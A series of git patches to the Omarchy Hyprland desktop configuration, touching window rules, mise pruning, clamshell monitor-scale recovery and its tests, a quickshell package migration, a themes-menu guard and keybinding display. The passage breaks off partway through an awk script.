From ec9da050eef10a0d9f1dc5a8dbab41f78e74a1fa Mon Sep 17 00:00:00 2001 From: Akshar Patel Date: Fri, 14 Aug 2026 23:47:31 -0400 Subject: [PATCH 001/336] Stop Resolve dialogs from recapturing pointer focus --- default/hypr/apps/davinci-resolve.lua | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/default/hypr/apps/davinci-resolve.lua b/default/hypr/apps/davinci-resolve.lua index 6f6abda3..1af83aa1 100644 --- a/default/hypr/apps/davinci-resolve.lua +++ b/default/hypr/apps/davinci-resolve.lua @@ -3,9 +3,10 @@ o.window(".*[Rr]esolve.*", { float = true, stay_focused = true, + no_follow_mouse = true, tag = "-default-opacity", opacity = "1 1", }) o.window({ class = ".*[Rr]esolve.*", title = "^DaVinci Resolve( Studio)? - .+$" }, { fullscreen = true }) -o.window({ class = ".*[Rr]esolve.*", title = "^(DaVinci Resolve( Studio)? - .+|Project Manager)$" }, { stay_focused = false }) +o.window({ class = ".*[Rr]esolve.*", title = "^(DaVinci Resolve( Studio)? - .+|Project Manager|Preferences|Find Directory)$" }, { stay_focused = false }) From 94a7b70ed4ed514cd120918ee39a965c299dfd24 Mon Sep 17 00:00:00 2001 From: Akshar Patel Date: Fri, 14 Aug 2026 23:50:12 -0400 Subject: [PATCH 002/336] Explain Resolve pointer focus override --- default/hypr/apps/davinci-resolve.lua | 1 + 1 file changed, 1 insertion(+) diff --git a/default/hypr/apps/davinci-resolve.lua b/default/hypr/apps/davinci-resolve.lua index 1af83aa1..a2eeef40 100644 --- a/default/hypr/apps/davinci-resolve.lua +++ b/default/hypr/apps/davinci-resolve.lua @@ -3,6 +3,7 @@ o.window(".*[Rr]esolve.*", { float = true, stay_focused = true, + -- Prevent modal dialog pointer warps when focus follows the mouse. no_follow_mouse = true, tag = "-default-opacity", opacity = "1 1", From 889b22dd8592db83f8f4bcf9e6e9585618b56e08 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 20 Aug 2026 10:45:12 +0200 Subject: [PATCH 003/336] Keep mise upgrades from pruning versions still in use mise ships with upgrade.auto_prune on, so `mise up` deletes the old install directory as soon as a tool upgrades. Long-running processes are still executing out of that directory, and some re-exec themselves by absolute path, so running `omarchy update` or `mup` breaks them mid-session. Claude Code is the case that surfaced it. It records its own binary path at startup and dispatches its bundled ugrep and bfs through it, so once the upgrade pruned that path its grep and find wrappers fell back to the mise wrapper in ~/.local/bin. That wrapper cannot stand in for the real binary here: a shebang script never sees the argv[0] it was invoked under, because the kernel hands the interpreter the script path instead. The dispatch collapsed to plain `claude -G`, which fails. Keeping the old versions costs some disk and leaves the stale directory behind until something prunes it deliberately, which is the cheaper half of the trade. Co-Authored-By: Claude Opus 5 (1M context) --- install/user/mise.sh | 4 ++++ migrations/1787215483.sh | 3 +++ 2 files changed, 7 insertions(+) create mode 100644 migrations/1787215483.sh diff --git a/install/user/mise.sh b/install/user/mise.sh index a800393d..24f1cb7d 100644 --- a/install/user/mise.sh +++ b/install/user/mise.sh @@ -1,3 +1,7 @@ +# Upgrades must not delete the version a running process is executing from: +# mise up would prune the old install dir out from under a live session. +mise settings set upgrade.auto_prune false + omarchy-mise-install codex omarchy-mise-install claude omarchy-mise-install crush diff --git a/migrations/1787215483.sh b/migrations/1787215483.sh new file mode 100644 index 00000000..2e473ef0 --- /dev/null +++ b/migrations/1787215483.sh @@ -0,0 +1,3 @@ +echo "Stop mise upgrades from pruning versions still in use" + +mise settings set upgrade.auto_prune false From b63616422f427bb778f49f573e6cc197e29c7b4f Mon Sep 17 00:00:00 2001 From: Matthias Nitsch <53911+fuchsblau@users.noreply.github.com> Date: Sat, 22 Aug 2026 13:43:46 +0200 Subject: [PATCH 004/336] Leave an auto-scaled internal panel alone in clamshell recovery (#7581) With the default scale = "auto", sync_internal_scale read the config, rejected "auto" as non-numeric, fell back to the hardcoded default 2, and force-applied it whenever the compositor's auto resolution differed. Since the script runs from omarchy-system-wake after every idle cycle, the panel flapped between 2 and auto's own value (1.5666667 on a 198 DPI panel) on every wake/reload pair. A config without a usable number -- "auto", or an expression only Hyprland's Lua can evaluate -- delegates the scale to the compositor: whatever it resolved for the enabled panel is the configured scale, so there is nothing to correct. Recovery of a disabled panel is unchanged and still re-enables it with the remembered scale, falling back to the historical default 2. Fixes #7265. Also the scale-revert half of #7301. Claude-Session: https://claude.ai/code/session_01L4Z6GimYhR1Kpsir24VAPF Co-authored-by: Claude Fable 5 --- bin/omarchy-hyprland-monitor-clamshell | 26 +++++++- test/shell.d/monitor-clamshell-scale-test.sh | 68 ++++++++++++++++++-- 2 files changed, 87 insertions(+), 7 deletions(-) diff --git a/bin/omarchy-hyprland-monitor-clamshell b/bin/omarchy-hyprland-monitor-clamshell index a55e2028..cbd1b33f 100755 --- a/bin/omarchy-hyprland-monitor-clamshell +++ b/bin/omarchy-hyprland-monitor-clamshell @@ -118,9 +118,17 @@ remember_internal_scale() { store_internal_scale "$scale" } +# $1 is the configured scale when the caller has already read it, so one sync +# does not parse the config twice. read_monitor_scale() { local scale - scale=$(configured_monitor_scale) + + if (( $# )); then + scale="$1" + else + scale=$(configured_monitor_scale) + fi + if valid_scale "$scale"; then echo "$scale" return @@ -159,11 +167,25 @@ enable_internal_output() { sync_internal_scale() { [[ -n $INTERNAL ]] || return 0 + local configured_scale local desired_scale local active_scale - desired_scale=$(read_monitor_scale) + configured_scale=$(configured_monitor_scale) active_scale=$(current_internal_scale) + + # A config without a usable number -- the default "auto", or an expression + # only Hyprland's Lua can evaluate -- delegates the scale to the compositor, + # so whatever it resolved for the enabled panel IS the configured scale. + # There is no number to correct it toward: substituting one makes the scale + # flap between that number and the compositor's own value on every idle-wake. + # Only a panel that is off altogether still gets a hand below, from the + # remembered scale. + if ! valid_scale "$configured_scale" && valid_scale "$active_scale"; then + return 0 + fi + + desired_scale=$(read_monitor_scale "$configured_scale") scales_match "$active_scale" "$desired_scale" && return 0 enable_internal_output "$desired_scale" diff --git a/test/shell.d/monitor-clamshell-scale-test.sh b/test/shell.d/monitor-clamshell-scale-test.sh index 07509f36..1ba617cb 100644 --- a/test/shell.d/monitor-clamshell-scale-test.sh +++ b/test/shell.d/monitor-clamshell-scale-test.sh @@ -70,6 +70,18 @@ local omarchy_monitor_scale = "auto" LUA } +# The shipped default's own shape: the catch-all rule hands the panel a +# bare-word reference to the "auto" local. +write_default_auto_config() { + cat >"$monitor_lua" <<'LUA' +local omarchy_gdk_scale = 2 +local omarchy_monitor_scale = "auto" + +hl.env("GDK_SCALE", tostring(omarchy_gdk_scale)) +hl.monitor({ output = "", mode = "preferred", position = "auto", scale = omarchy_monitor_scale }) +LUA +} + write_internal_monitor_config() { cat >"$monitor_lua" <<'LUA' hl.monitor({ output = "eDP-1", mode = "preferred", position = "0x0", scale = 1.25 }) @@ -213,20 +225,39 @@ run_clamshell() { "$ROOT/bin/omarchy-hyprland-monitor-clamshell" } +# Regression (#7265, #7301): with scale = "auto" the compositor's resolution of +# it IS the configured scale, not a transient to correct. Forcing a number here +# made the scale flap: every idle-wake applied the fallback 2, every config +# reload resolved auto back to the panel's own value. write_auto_monitor_config : >"$eval_log" OMARCHY_TEST_INTERNAL_SCALE=3 run_clamshell -grep -F 'scale = 2' "$eval_log" >/dev/null || fail "clamshell recovery ignores transient auto scale" -! grep -F 'scale = "auto"' "$eval_log" >/dev/null || fail "clamshell recovery does not apply auto scale" +! grep -F 'scale = ' "$eval_log" >/dev/null || fail "clamshell recovery leaves an auto-scaled panel alone" [[ ! -f $scale_state ]] || fail "clamshell recovery does not remember transient scale" -pass "clamshell recovery ignores transient auto scale" +pass "clamshell recovery leaves an auto-scaled panel alone" -write_auto_monitor_config +# The same delegation through the shipped default config, where "auto" reaches +# the panel via the catch-all rule's bare-word reference to the local. +write_default_auto_config : >"$eval_log" -OMARCHY_TEST_INTERNAL_SCALE=2 run_clamshell +OMARCHY_TEST_INTERNAL_SCALE=3 run_clamshell +! grep -F 'scale = ' "$eval_log" >/dev/null || fail "clamshell recovery leaves the shipped auto default alone" +pass "clamshell recovery leaves the shipped auto default alone" + +# A numeric config keeps both sync behaviors: a matching active scale is not +# reapplied, and a drifted one is corrected back to the configured value. +write_internal_monitor_config +: >"$eval_log" +OMARCHY_TEST_INTERNAL_SCALE=1.25 run_clamshell ! grep -F 'scale = ' "$eval_log" >/dev/null || fail "clamshell recovery does not reapply matching scale" pass "clamshell recovery avoids redundant scale apply" +write_internal_monitor_config +: >"$eval_log" +OMARCHY_TEST_INTERNAL_SCALE=3 run_clamshell +grep -F 'scale = 1.25' "$eval_log" >/dev/null || fail "clamshell recovery corrects a drifted numeric scale" +pass "clamshell recovery corrects a drifted numeric scale" + write_auto_monitor_config : >"$eval_log" OMARCHY_TEST_INTERNAL_SCALE=1.6 OMARCHY_TEST_EXTERNAL_ACTIVE=true OMARCHY_TEST_CLAMSHELL=true run_clamshell @@ -240,6 +271,15 @@ grep -F 'scale = 1.6' "$eval_log" >/dev/null || fail "clamshell recovery uses re ! grep -F 'scale = "auto"' "$eval_log" >/dev/null || fail "clamshell recovery avoids auto after disabled internal display" pass "clamshell recovery uses remembered internal scale" +# Recovery of a panel that is off, under an auto config with nothing +# remembered, still needs a number: the historical default 2. +write_auto_monitor_config +rm -f "$scale_state" +: >"$eval_log" +OMARCHY_TEST_INTERNAL_DISABLED=true run_clamshell +grep -F 'scale = 2' "$eval_log" >/dev/null || fail "clamshell recovery falls back to the default scale" +pass "clamshell recovery falls back to the default scale" + write_internal_monitor_config : >"$eval_log" OMARCHY_TEST_INTERNAL_DISABLED=true run_clamshell @@ -312,6 +352,15 @@ OMARCHY_TEST_INTERNAL_DISABLED=true run_clamshell grep -F 'scale = 1.75' "$eval_log" >/dev/null || fail "clamshell recovery leaves an expression scale unresolved" pass "clamshell recovery leaves an expression scale unresolved" +# An expression is Hyprland's to evaluate, not this parser's: like "auto", it +# names no number to correct an enabled panel toward. +write_expression_scale_config +remember_scale 1.75 +: >"$eval_log" +OMARCHY_TEST_INTERNAL_SCALE=3 run_clamshell +! grep -F 'scale = ' "$eval_log" >/dev/null || fail "clamshell recovery leaves an expression-scaled panel alone" +pass "clamshell recovery leaves an expression-scaled panel alone" + # A quoted value is a string, not a reference to a local of the same name. write_shadowed_auto_config remember_scale 1.75 @@ -320,6 +369,15 @@ OMARCHY_TEST_INTERNAL_DISABLED=true run_clamshell grep -F 'scale = 1.75' "$eval_log" >/dev/null || fail "clamshell recovery does not resolve a quoted scale against a local" pass "clamshell recovery does not resolve a quoted scale against a local" +# An explicit "auto" on the internal rule delegates just the same: while the +# panel is enabled, it is not corrected toward the remembered scale. +write_shadowed_auto_config +remember_scale 1.75 +: >"$eval_log" +OMARCHY_TEST_INTERNAL_SCALE=3 run_clamshell +! grep -F 'scale = ' "$eval_log" >/dev/null || fail "clamshell recovery leaves an explicitly auto panel alone" +pass "clamshell recovery leaves an explicitly auto panel alone" + # Half of `3 / 2` is no better inside the rule than inside a local. write_expression_rule_config remember_scale 1.75 From 9d938075948f5d241e6c01da5abedb7b7a87d248 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 22 Aug 2026 13:56:20 +0200 Subject: [PATCH 005/336] Tooltip for better discovery of alt date formats --- shell/plugins/panels/clock/BarWidget.qml | 1 + 1 file changed, 1 insertion(+) diff --git a/shell/plugins/panels/clock/BarWidget.qml b/shell/plugins/panels/clock/BarWidget.qml index e33486e5..61cf0bf5 100644 --- a/shell/plugins/panels/clock/BarWidget.qml +++ b/shell/plugins/panels/clock/BarWidget.qml @@ -153,6 +153,7 @@ BarWidget { fixedHeight: root.vertical ? root.verticalLines.length * Style.bar.iconSlot : -1 horizontalMargin: 8.75 verticalPadding: 8.75 + tooltipText: "Right-click to toggle format" onPressed: function(b) { if (b === Qt.RightButton) root.cycleFormat() From c539f036aa8423e9178c3b2d3842adec5d412250 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 22 Aug 2026 14:12:14 +0200 Subject: [PATCH 006/336] Explain things better Given Finley's confusion --- config/hypr/monitors.lua | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/config/hypr/monitors.lua b/config/hypr/monitors.lua index 189f13c2..99d07e59 100644 --- a/config/hypr/monitors.lua +++ b/config/hypr/monitors.lua @@ -1,10 +1,10 @@ -- See https://wiki.hypr.land/Configuring/Basics/Monitors/ -- List current monitors and supported resolutions with: hyprctl monitors all -local omarchy_gdk_scale = 2 +-- Monitor scale is Hyprland's scale for the output. It sizes everything +-- Wayland-native, accepts fractions (1.6, 1.75), and applies immediately. +-- "auto" lets Hyprland pick per display. local omarchy_monitor_scale = "auto" - -hl.env("GDK_SCALE", tostring(omarchy_gdk_scale)) hl.monitor({ output = "", mode = "preferred", position = "auto", scale = omarchy_monitor_scale }) -- Configure a specific monitor. @@ -12,3 +12,11 @@ hl.monitor({ output = "", mode = "preferred", position = "auto", scale = omarchy -- Portrait/rotated secondary monitor (transform: 1 = 90°, 3 = 270°). -- hl.monitor({ output = "DP-2", mode = "preferred", position = "auto", scale = 1, transform = 1 }) + +-- GDK scale is GDK_SCALE, the factor GTK draws its own UI at. It's what +-- sizes X11/XWayland windows, which Omarchy leaves unscaled so they stay +-- crisp instead of being stretched by the compositor. GTK only honors whole +-- numbers, so use the nearest integer to the monitor scale, and restart an +-- app for a change to reach it. +local omarchy_gdk_scale = 2 +hl.env("GDK_SCALE", tostring(omarchy_gdk_scale)) From 2c593dbbaad67698e7b9b0809d082d86540a7a1c Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sat, 22 Aug 2026 15:02:12 +0200 Subject: [PATCH 007/336] Switch back to the packaged quickshell now that 0.3.1 kills synchronously (#7769) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Switch back to the packaged quickshell now that 0.3.1 kills synchronously Omarchy shipped the quickshell-git build for a single fix: 0.3.0's `kill` returned before the instance had exited, so the kill loop in omarchy-restart-shell could race a dying shell. Upstream 0.3.1 ships that fix, which makes extra/quickshell the better package to be on again — signed, versioned, and not rebuilt from a moving branch on every update. The migration swaps unconditionally instead of first checking which version the mirror offers. A machine left holding quickshell-git while the shipped package list names quickshell has no way to reconcile the two: omarchy-reinstall-pkgs installs that list with --needed, which does not skip a name that is not installed, and the conflict it then walks into has no answer under --noconfirm. A mirror that is briefly behind installs 0.3.0 instead and the next upgrade carries it to 0.3.1, which is much the cheaper way to be wrong. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-Authored-By: Codex XHigh * Drop the quickshell version note from the shell restart loop The comment qualified the kill loop as needing 0.3.1 or newer, but omarchy-restart-shell ships in the same package upgrade that brings quickshell along, so a machine running this code already has the version the loop depends on. The caveat could never be false where it was read, which left it as version archaeology rather than something the code could not say for itself. 🤖 Generated by Opus 5 in Claude Code. --------- Co-authored-by: Codex XHigh --- bin/omarchy-restart-shell | 1 - install/omarchy-base.packages | 2 +- migrations/1787399318.sh | 9 +++++++++ 3 files changed, 10 insertions(+), 2 deletions(-) create mode 100644 migrations/1787399318.sh diff --git a/bin/omarchy-restart-shell b/bin/omarchy-restart-shell index 8211a1e6..dfc21724 100755 --- a/bin/omarchy-restart-shell +++ b/bin/omarchy-restart-shell @@ -63,7 +63,6 @@ relock_session() { # Each kill stops the oldest matching instance and only returns once it has # fully exited, so the no-duplicate launch below can't race a dying shell. -# Requires our quickshell-git build; 0.3.0's kill returns immediately. while timeout 5 quickshell kill -p "$CONFIG_DIR" --any-display >/dev/null 2>&1; do :; done # Spawn from Hyprland so the shell inherits the canonical session environment, diff --git a/install/omarchy-base.packages b/install/omarchy-base.packages index 1c01081e..4097b645 100644 --- a/install/omarchy-base.packages +++ b/install/omarchy-base.packages @@ -109,7 +109,7 @@ ttfx qemu-user-static-binfmt qrencode qt6-imageformats -quickshell-git +quickshell ripgrep ruby tensaku diff --git a/migrations/1787399318.sh b/migrations/1787399318.sh new file mode 100644 index 00000000..fc7f120c --- /dev/null +++ b/migrations/1787399318.sh @@ -0,0 +1,9 @@ +echo "Switch back to the packaged quickshell now that 0.3.1 kills synchronously" + +# 0.3.1 fixes `kill` returning before the instance has exited, which is the only +# reason Omarchy shipped the git build. +if omarchy-pkg-present quickshell-git; then + # One transaction with --ask 4 so pacman accepts replacing the conflicting + # quickshell-git in place; packages depending on quickshell stay satisfied. + sudo pacman -S --noconfirm --ask 4 quickshell +fi From 13a969e1ab500a692e1e4134ed6380453fc92f5c Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sat, 22 Aug 2026 16:24:21 +0200 Subject: [PATCH 008/336] Only offer Update > Extra Themes when there is one (#7775) * Only offer Update > Extra Themes when there is one omarchy-theme-update pulls the themes under ~/.config/omarchy/themes that came from a git clone, so on a machine that has never installed one by hand the row opens a terminal that prints nothing and closes. Guard it with the same predicates the command itself applies, since a row that shows over a symlinked theme or a worktree's `.git` file is the same dead end in a narrower shape, and pin the two to each other in the guard test. Co-Authored-By: Codex XHigh * Extract the Extra Themes guard into omarchy-theme-extras The row's `when:` and omarchy-theme-update each carried their own idea of which themes came from a git clone, and the two only matched because a test held them together. Name it once instead: omarchy-theme-extras lists those directories and exits nonzero when there are none, so the row asks exactly the command its action runs. Living in a script also puts the glob out of reach of whatever shopt a login shell left set for the guard batch. Co-Authored-By: Codex XHigh --------- Co-authored-by: Codex XHigh --- bin/omarchy-theme-extras | 17 +++++++ bin/omarchy-theme-update | 10 ++-- default/omarchy/omarchy-menu.jsonc | 2 +- test/shell.d/menu-guards-test.sh | 79 ++++++++++++++++++++++++++++++ test/shell.d/menu-test.sh | 5 ++ 5 files changed, 107 insertions(+), 6 deletions(-) create mode 100755 bin/omarchy-theme-extras diff --git a/bin/omarchy-theme-extras b/bin/omarchy-theme-extras new file mode 100755 index 00000000..7cad2c11 --- /dev/null +++ b/bin/omarchy-theme-extras @@ -0,0 +1,17 @@ +#!/bin/bash + +# omarchy:summary=List the user-installed themes that came from a git clone +# omarchy:examples=omarchy theme extras + +# Exits nonzero when there are none, so a caller can ask whether any exist +# without reading the list. A symlinked theme is someone's working copy and a +# `.git` file is a worktree pointing elsewhere; neither is ours to pull. +status=1 + +for theme in ~/.config/omarchy/themes/*; do + [[ ! -L $theme && -d $theme/.git ]] || continue + echo "$theme" + status=0 +done + +exit $status diff --git a/bin/omarchy-theme-update b/bin/omarchy-theme-update index a68cb176..5a700ca8 100755 --- a/bin/omarchy-theme-update +++ b/bin/omarchy-theme-update @@ -2,9 +2,9 @@ # omarchy:summary=Update user-installed git themes -for dir in ~/.config/omarchy/themes/*/; do - if [[ -d $dir ]] && [[ ! -L ${dir%/} ]] && [[ -d $dir/.git ]]; then - echo "Updating: $(basename "$dir")" - git -C "$dir" pull - fi +mapfile -t themes < <(omarchy-theme-extras) + +for theme in "${themes[@]}"; do + echo "Updating: $(basename "$theme")" + git -C "$theme" pull done diff --git a/default/omarchy/omarchy-menu.jsonc b/default/omarchy/omarchy-menu.jsonc index e204da69..0ad5dbfb 100644 --- a/default/omarchy/omarchy-menu.jsonc +++ b/default/omarchy/omarchy-menu.jsonc @@ -338,7 +338,7 @@ "update.omarchy": {"icon":"","iconFont":"omarchy","label":"Omarchy","action":"omarchy-launch-floating-terminal-with-presentation omarchy-update"}, "update.channel": {"icon":"󰔫","label":"Channel"}, "update.config": {"icon":"","label":"Config","title":"Reset to default"}, - "update.themes": {"icon":"󰸌","label":"Extra Themes","action":"omarchy-launch-floating-terminal-with-presentation omarchy-theme-update"}, + "update.themes": {"icon":"󰸌","label":"Extra Themes","when":"omarchy-theme-extras","action":"omarchy-launch-floating-terminal-with-presentation omarchy-theme-update"}, "update.process": {"icon":"","label":"Process","title":"Restart"}, "update.hardware": {"icon":"󰇅","label":"Hardware","title":"Restart"}, "update.firmware": {"icon":"","label":"Firmware","action":"omarchy-launch-floating-terminal-with-presentation omarchy-update-firmware"}, diff --git a/test/shell.d/menu-guards-test.sh b/test/shell.d/menu-guards-test.sh index 243adf3b..660d77c5 100755 --- a/test/shell.d/menu-guards-test.sh +++ b/test/shell.d/menu-guards-test.sh @@ -194,3 +194,82 @@ printf "survived\n"' 2>/dev/null) [[ $errexit_result == $'hit:c:1\nmiss:c:0\nsurvived' ]] || fail "guard batch survives a failing reader under errexit" "got: $errexit_result" pass "guard batch survives a reader that exits nonzero under errexit" + +# Update > Extra Themes runs omarchy-theme-update, which pulls the themes that +# came from a git clone and skips everything else, so the guard has to answer +# for the same set: a row that appears over a symlinked theme or a worktree's +# `.git` file opens a terminal that prints nothing and closes. Both sides ask +# omarchy-theme-extras today; the shapes below are what would tell us if one +# of them stopped. +themes_guard=$(node -e ' + const fs = require("fs") + const path = require("path") + const menu = require(path.join(process.env.ROOT, "shell/plugins/menu/MenuModel.js")) + const items = menu.parseMenuJsonc(fs.readFileSync(path.join(process.env.ROOT, "default/omarchy/omarchy-menu.jsonc"), "utf8")) + process.stdout.write(items.find(item => item.id === "update.themes").when) +') + +cat >"$stub_dir/git" <<'STUB' +#!/bin/bash +: "${GIT_CALLS:=/dev/null}" +{ printf '<%s>' "$@"; printf '\n'; } >>"$GIT_CALLS" +STUB +chmod +x "$stub_dir/git" + +# The updater names each theme it pulls, so what it printed is what the row +# would have been for. Run the guard the way the batch does, braces and all, +# and say which shapes are meant to show it rather than only that the two +# agree: they read the same command now, and agreement alone would hold even +# if both went wrong together. +assert_themes_guard_agrees() { + local description="$1" home="$2" expected="$3" + local guarded=0 updated=0 + + HOME="$home" PATH="$ROOT/bin:$PATH" bash -e -c "{ $themes_guard; } >/dev/null 2>&1" || guarded=$? + [[ -n $(HOME="$home" PATH="$ROOT/bin:$stub_dir:$PATH" "$ROOT/bin/omarchy-theme-update" 2>/dev/null) ]] || updated=1 + ((guarded == expected)) || fail "$description" "$home: guard=$guarded expected=$expected" + ((updated == expected)) || fail "$description" "$home: update=$updated expected=$expected" +} + +themes_home=$(mktemp -d) +trap 'rm -rf "$stub_dir" "$themes_home"' EXIT + +# A theme copied by hand has nothing to pull, a symlinked one is someone's +# working copy, and a `.git` file is a worktree living elsewhere. +mkdir -p "$themes_home/missing" +mkdir -p "$themes_home/empty/.config/omarchy/themes" +mkdir -p "$themes_home/copied/.config/omarchy/themes/handmade" +mkdir -p "$themes_home/cloned/.config/omarchy/themes/tokyo-night/.git" +mkdir -p "$themes_home/linked/.config/omarchy/themes" "$themes_home/checkout/.git" +ln -s "$themes_home/checkout" "$themes_home/linked/.config/omarchy/themes/in-progress" +mkdir -p "$themes_home/worktree/.config/omarchy/themes/branch" +printf 'gitdir: /elsewhere\n' >"$themes_home/worktree/.config/omarchy/themes/branch/.git" + +for shape in missing:1 empty:1 copied:1 cloned:0 linked:1 worktree:1; do + assert_themes_guard_agrees \ + "Extra Themes shows exactly when omarchy-theme-update has something to pull" \ + "$themes_home/${shape%:*}" "${shape#*:}" +done +pass "Extra Themes shows exactly when omarchy-theme-update has something to pull" + +# Which themes get pulled, not just that something did: a name with a space in +# it is the one that goes missing the moment a path is split rather than passed +# whole, and it would still print an Updating: line on its way to the wrong +# directory. +many="$themes_home/many/.config/omarchy/themes" +mkdir -p "$many/tokyo night/.git" "$many/zen/.git" "$many/handmade" +ln -s "$themes_home/checkout" "$many/in-progress" + +listed=$(HOME="$themes_home/many" LC_ALL=C "$ROOT/bin/omarchy-theme-extras") +[[ $listed == "$many/tokyo night"$'\n'"$many/zen" ]] || + fail "omarchy-theme-extras lists every clone and nothing else" "got: $listed" +pass "omarchy-theme-extras lists every clone and nothing else" + +git_calls=$(mktemp) +trap 'rm -rf "$stub_dir" "$themes_home" "$git_calls"' EXIT +HOME="$themes_home/many" LC_ALL=C GIT_CALLS="$git_calls" PATH="$ROOT/bin:$stub_dir:$PATH" \ + "$ROOT/bin/omarchy-theme-update" >/dev/null 2>&1 +pulled=$(<"$git_calls") +[[ $pulled == "<-C><$many/tokyo night>"$'\n'"<-C><$many/zen>" ]] || + fail "omarchy-theme-update pulls each clone by its whole path" "got: $pulled" +pass "omarchy-theme-update pulls each clone by its whole path" diff --git a/test/shell.d/menu-test.sh b/test/shell.d/menu-test.sh index 6cf51650..236831c3 100644 --- a/test/shell.d/menu-test.sh +++ b/test/shell.d/menu-test.sh @@ -192,6 +192,11 @@ assert( defaultById['update.omarchy'].iconFont === 'omarchy', 'menu update Omarchy entry renders the private glyph with the Omarchy font' ) +assertEqual( + defaultById['update.themes'].when, + 'omarchy-theme-extras', + 'menu hides Extra Themes until a theme cloned from git is there to update' +) assert( defaultById['setup.input'].action.includes('input.lua'), 'menu keeps Input as a direct config action' From 07fccef41c974b54f893bcad62c100f96cad4b62 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Sat, 22 Aug 2026 16:55:01 +0200 Subject: [PATCH 009/336] Add Super + Q as a second chord for closing a window (#7767) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add Super + Q as a second chord for closing a window Super + W stays the documented default. Super + Q is the chord people arrive with from macOS, where Command + Q quits the app, and typing it into Omarchy did nothing at all until now. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. * Put an action's alternative chord on one keybindings row Super + W and Super + Q both read "Close window" in the menu, two rows apart, with nothing to say they were the same thing -- and the alternative sorted above the default. The scratchpad and the calculator had the same trouble, each bound to a chord and to a second key. Four actions are named as having an alternative, one at a time, and the second chord joins the first one's row. A rule would be wrong here: Alt + Tab and Shift + Alt + Tab both say "Reveal active window on top" while cycling opposite ways, and a media key is nobody's idea of an alternative to a Super chord. Both halves still have to agree on what they dispatch, since a label is only what a chord is called, and an unresolved dispatcher never counts as agreement. Nothing is allowed past the 35-character column: a pair that would overrun it stays as two rows rather than pushing its arrow out of line. The menu elides a row that outgrows its card -- 754px of label, 78 monospace characters at the heading size -- and the longest entry already sits at 74, so widening the column to fit the widest pair would have cost two dozen rows the end of their description. Priority ordering reads the rendered row, so the chord sharing it would otherwise reclassify the entry: XF86Calculator alone belongs in the tail kept for media keys, and it took the calculator down there with it. Ranking now reads the chord that leads the row. The key left of 1 reads as ~ rather than Hyprland's name for it, whether a bind names it or reports the keycode for the keymap to resolve. Cached records predate all of this, so the cache version moves with it. 🤖 Generated by Opus 5 in Claude Code. Reviewed by Codex XHigh. Co-authored-by: Codex XHigh --------- Co-authored-by: Codex XHigh --- bin/omarchy-menu-keybindings | 80 ++++++++- default/hypr/bindings/tiling.lua | 1 + manual/03-coming-from-mac-or-windows.md | 2 +- manual/04-navigation.md | 2 +- manual/07-hotkeys.md | 2 +- test/shell.d/keybindings-menu-test.sh | 222 ++++++++++++++++++++++++ 6 files changed, 302 insertions(+), 7 deletions(-) create mode 100755 test/shell.d/keybindings-menu-test.sh diff --git a/bin/omarchy-menu-keybindings b/bin/omarchy-menu-keybindings index 4269a831..767b5dac 100755 --- a/bin/omarchy-menu-keybindings +++ b/bin/omarchy-menu-keybindings @@ -38,6 +38,12 @@ parse_keycodes() { if (code != "" && symbol != "" && symbol != "NoSymbol") keycode_symbol[code] = toupper(symbol) } + # Read off the keysym rather than the keycode, so the key left of 1 reads + # as the symbol printed on it whichever key the active layout puts it on. + for (code in keycode_symbol) { + if (keycode_symbol[code] == "GRAVE") keycode_symbol[code] = "~" + } + mouse_symbol["272"] = "LEFT MOUSE BUTTON" mouse_symbol["273"] = "RIGHT MOUSE BUTTON" mouse_symbol["274"] = "MIDDLE MOUSE BUTTON" @@ -305,6 +311,7 @@ dynamic_bindings() { case "$key" in comma) key="COMMA" ;; + grave) key="~" ;; period) key="PERIOD" ;; minus) key="MINUS" ;; equal) key="EQUAL" ;; @@ -324,15 +331,41 @@ static_bindings() { echo "SHIFT ALT,D,Download Video from Web App,sendshortcut,SHIFT ALT,D," } +# Actions Omarchy binds to a second chord meant as an alternative, named one at +# a time. A rule would be wrong here: Alt + Tab and Shift + Alt + Tab both say +# "Reveal active window on top" while cycling opposite ways, and a media key is +# nobody's idea of an alternative to a Super chord. Only chords a user reaches +# for interchangeably belong on one row. +alternative_chord_actions() { + cat <<'ACTIONS' +Close window +Calculator +Toggle scratchpad +Move window to scratchpad +ACTIONS +} + # Parse and format keybindings # # `awk` does the heavy lifting: # - Set the field separator to a comma ','. # - Joins the key combination (e.g., "SUPER + Q"). # - Joins the command that the key executes. +# - Puts an action's alternative chord on the row with the first one. # - Prints display text and dispatch metadata as tab-separated fields. parse_binding_records() { - awk -F, ' + awk -F, -v alternatives="$(alternative_chord_actions)" ' +BEGIN { + # The column every row pads its chords to. Nothing is allowed past it: the + # menu renders in monospace, and a row that overruns pushes its arrow out + # of a column the eye reads straight down. + column = 35; + + split(alternatives, named, "\n"); + for (i in named) { + if (named[i] != "") shares_a_row[named[i]] = 1; + } +} { # Combine the modifier and key (first two fields) key_combo = $1 " + " $2; @@ -365,8 +398,35 @@ parse_binding_records() { gsub(/[ \t]+/, " ", key_combo); # Collapse multiple spaces to one } + # An alternative chord joins the row the first one opened: "SUPER + W / + # SUPER + Q -> Close window". Both halves have to agree on what they run, + # since a label is only what a chord is called; an unresolved dispatcher + # says nothing at all, so it never counts as agreement. if (action != "") { - printf "%-35s → %s\t%s\t%s\n", key_combo, action, dispatcher, arg; + action_key = action SUBSEP dispatcher SUBSEP arg; + together = ""; + + if (action in shares_a_row && dispatcher != "" && action_key in leads) { + together = chords[leads[action_key]] " / " key_combo; + } + + if (together != "" && length(together) <= column) { + chords[leads[action_key]] = together; + } else { + # Also the path a pair too wide for the column takes: two rows in + # line beat one that juts out of it. + entries++; + chords[entries] = key_combo; + actions[entries] = action; + dispatchers[entries] = dispatcher; + args[entries] = arg; + leads[action_key] = entries; + } + } +} +END { + for (entry 